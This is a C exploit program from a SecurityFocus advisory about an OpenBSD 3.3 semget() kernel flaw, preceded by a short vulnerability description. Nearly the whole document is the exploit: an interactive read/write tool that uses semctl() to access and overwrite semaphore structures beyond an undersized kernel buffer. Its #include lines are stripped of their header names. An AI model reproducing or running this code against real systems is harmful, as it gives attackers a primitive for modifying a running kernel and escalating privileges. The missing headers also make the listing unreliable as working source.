// source: https://www.securityfocus.com/bid/8464/info A vulnerability has been discovered in the OpenBSD semget() system call. The problem occurs due to insufficient sanity checks before allocating memory using the user-supplied nsems value as an argument. As a result, an attacker may be capable of modifying the running kernel. This vulnerability was introduced in OpenBSD 3.3 and as such, no other versions are affected. #include #include #include #include #include #include #include #include #include int semid, idx, val; int read_sem(struct sem *); void do_read(char *); void do_write(char *); void dump_hex(void *, unsigned int); void dump_sem(struct sem *); int main(int argc, char *argv[]){ int quit; char buf[80], prev; if(argc < 2){ printf("%s \n", argv[0]); return 1; } semid = atoi(argv[1]); quit = 0; while(!quit){ printf("\n> "); fgets(buf, sizeof(buf), stdin); switch(buf[0]){ case 'r': case 'R': prev = 'r'; do_read(buf); break; case 'w': case 'W': prev = 'w'; do_write(buf); break; case 'q': case 'Q': quit = 1; break; case 'h': case 'H': printf("Enter one of the following commands:\n"); printf("\tr - read a semaphore\n"); printf("\t\tsyntax r index[.level]\n"); printf("\t\te.g. r 1\n"); printf("\t\te.g. r 1.val\n"); printf("\tw - write a value\n"); printf("\t\tsyntax w index value\n"); printf("\t\te.g. w 1 7\n"); printf("\tq - quit\n"); break; case '\r': case '\n': if(prev == 'r'){ sprintf(buf, "r %d\n", ++idx); do_read(buf); } else if(prev == 'w'){ sprintf(buf, "w %d %d\n", ++idx, val); do_write(buf); } break; default: break; } } return 0; } /* Read the contents of a sem structure. * * idx = index into the array * s = buffer to read sem structure into */ int read_sem(struct sem *s){ /* * At this point we have forced the kernel to allocate a too-small * buffer. We can read and write members of struct sem's beyond this * this buffer using semctl(). A struct sem looks like this: * * struct sem { * unsigned short semval; * pid_t sempid; * unsigned short semncnt; * unsigned short semzcnt; * }; */ memset(s, 0, sizeof(struct sem)); s->semval = semctl(semid, idx, GETVAL, NULL); if(errno != 0) goto err; s->sempid = semctl(semid, idx, GETPID, NULL); if(errno != 0) goto err; s->semncnt = semctl(semid, idx, GETNCNT, NULL); if(errno != 0) goto err; s->semzcnt = semctl(semid, idx, GETZCNT, NULL); if(errno != 0) goto err; return 0; err: perror("read_sem: semctl"); return -1; } void dump_hex(void *buf, unsigned int size){ int i, *p; p = buf; printf("\n"); for(i = 0; (i * sizeof(int)) < size; i++) printf("0x%.08x ", p[i]); } void dump_sem(struct sem *s){ printf("val = %d (%.04x)\n", s->semval, s->semval); printf("pid = %d (%.08x)\n", s->sempid, s->sempid); printf("ncnt = %d (%.04x)\n", s->semncnt, s->semncnt); printf("zcnt = %d (%.04x)\n", s->semzcnt, s->semzcnt); } void do_write(char *buf){ char *p; /* write something */ if((p = strchr(buf, ' ')) == NULL){ printf("w must take parameters\n"); return; } p++; idx = atoi(p); if((p = strchr(p, ' ')) == NULL){ printf("w needs a value to write\n"); return; } p++; if(!strncmp(p, "0x", 2)) sscanf(p, "0x%x", &val); else val = atoi(p); semctl(semid, idx, SETVAL, val); } void do_read(char *buf){ int ret; char *p; struct sem sem; /* read something */ if((p = strchr(buf, ' ')) == NULL){ printf("r must take an index argument\n"); return; } p++; idx = atoi(p); ret = read_sem(&sem); if(ret < 0) return; printf("Index %d:\n", idx); if((p = strchr(p, '.')) == NULL){ dump_sem(&sem); dump_hex(&sem, sizeof(sem)); } else{ p++; if(strstr(p, "val")) printf("val = %d (%.04x)\n", sem.semval, sem.semval); if(strstr(p, "pid")) printf("pid = %d (%.08x)\n", sem.sempid, sem.sempid); if(strstr(p, "ncnt")) printf("ncnt = %d (%.04x)\n", sem.semncnt, sem.semncnt); if(strstr(p, "zcnt")) printf("zcnt = %d (%.04x)\n", sem.semzcnt, sem.semzcnt); } }